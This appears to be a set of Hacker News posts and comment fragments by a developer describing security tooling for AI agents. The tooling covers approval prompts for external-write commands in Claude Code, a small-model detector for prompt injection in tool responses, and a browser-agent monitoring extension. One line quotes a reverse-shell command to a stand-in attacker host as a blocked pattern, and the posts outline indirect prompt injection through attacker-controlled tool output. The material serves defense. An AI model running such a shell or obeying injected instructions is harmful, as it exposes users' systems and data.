I wanted to be asked for approval iff it’d make changes in external environments or talk to a network.

I built a Claude Code plugin that: (https://postimg.cc/crvWLNRR)

1) Always prompts for “write-external” commands (db updates, API calls, remote writes), e.g. scp, curl -X POST, git push, sqlite3 etc.

2) Blocks known malware patterns like reverse shell patterns (bash -i >& /dev/tcp/attacker.com/4444 0>&1) or writing to a Dotfile

It uses a PreTool hook to lookup the command before execution from a “write-external” registry. If its missing, a haiku model reads its man / --help pages and updates registry with usage patterns where external writes can happen.

To make manual changes to a registry, you can prompt Claude to “mark mytool as safe“ or “add curl to always ask“.

Comments URL: https://news.ycombinator.com/item?id=46909878

Points: 1

# Comments: 0

Can we not assume that the plan you just said “ok” to came from a user prompts you made earlier in the chat session and hence does influence this decision process.

Another point in the idea is that this trusted context can include even the AI replies up until there hasnt been a tool calls yet that brings back a response an attacker can control

But it’s entirely possible that there are edge cases here, a red teaming dataset to cover these cases shouldn’t be hard to create

Once installed, it hooks to Node.js child_process module in the gateway process and listens to tool calls and their response streams. And a fetch hook to monitor user prompts (both could’ve been through fetch, happy to discuss why this whole layer couldn’t just be a proxy).

There are two layers of protection:

First: Whenever there is a read-only tool call whose response an attacker can modify, we extract that part of the json response and send it to a small haiku model to check if it has instruction asking the LLM to do something different

Second: For when the prompt injection detection fails, we maintain a list of function calls which can write to places that an external actor can access. We prompt the user for explicit permission to go forward through the UI.

I would love a discussion on how this second layer could be made better and less frequent by relying on some decision process. My current idea: Based on a collected set of “trusted” context (user prompts, responses from tool calls attackers cannot manipulate), can we detect if this tool call was necessary. There are scenarios where you’d need detection at the parameter-level.

Two notes:

1) This cannot just be a proxy because you need application level integration to have humans in the loop when needed and push UI controls.

2) How i improved accuracy of detecting prompt injection is by selecting only that content from the entire response json that can be manipulated by an external actor. This had to be done for each tool separately. The current implementation is for 2 skills I randomly chose (Notion & Github).

P.S.: I maintain one for claude code myself while working: https://github.com/ContextFort-AI/Runtime-Controls, I created this over the weekend OpenClaw

Comments URL: https://news.ycombinator.com/item?id=46854807

Points: 6

# Comments: 3

For example, how do you collect all the endpoints that have access to customer info per your example.

Thought about it and couldn't find a way how

How would you build such an authz scheme? When claude asks permissions to access a new endpoint, if the user allows it, then reissue the macaroons?

Here is a youtube video where I show the network requests of the extension: https://www.youtube.com/watch?v=J356Nquxmp4

To know what posthog collects and how to disable it (change in a single line of code), please refer to this file: https://github.com/ContextFort-AI/ContextFort/blob/main/POST...

Browser agents are AI copilots that can autonomously navigate and take actions in your browser. They show up as standalone browsers (Comet, Atlas) or Chrome extensions (Claude).

They’re especially useful in sites where search/API connectors don’t work well, like searching through Google Groups threads for a bug fix or pulling invoices from BILL.com. Anthropic released Claude CoWork yesterday, and in their launch video, they showcased their browser-use chromium extension: https://www.youtube.com/watch?v=UAmKyyZ-b9E

But enterprise adoption is slow because of indirect prompt injection risks, about which Simon Willison has written in great detail in his blogs: https://simonwillison.net/2025/Aug/26/piloting-claude-for-ch.... And before security teams can decide on guardrails, they need to know how employees are using browser agents to understand where the risks are.

So, we reverse-engineered how the Claude in Chrome extension works and built a visibility layer that tracks agent sessions end-to-end. It detects when an AI agent takes control of the browser and records which pages it visited during a session and what it does on each page (what was clicked and where text was input).

On top of that, we’ve also added simple controls for security teams to act on based on what the visibility layer captures:

(1) Block specific actions on specific pages (e.g., prevent the agent from clicking “Submit” on email)

(2) Block risky cross-site flows in a single session (e.g., block navigation to Atlassian after interacting with StackOverflow), or apply a stricter policy and block bringing any external context to Atlassian entirely.

We demo all the above features here in this 2-minute YouTube video: https://www.youtube.com/watch?v=1YtEGVZKMeo

You can try our browser extension here: https://github.com/ContextFort-AI/ContextFort

Thrilled to share this with you and hear your comments!

Comments URL: https://news.ycombinator.com/item?id=46614015

Points: 14

# Comments: 1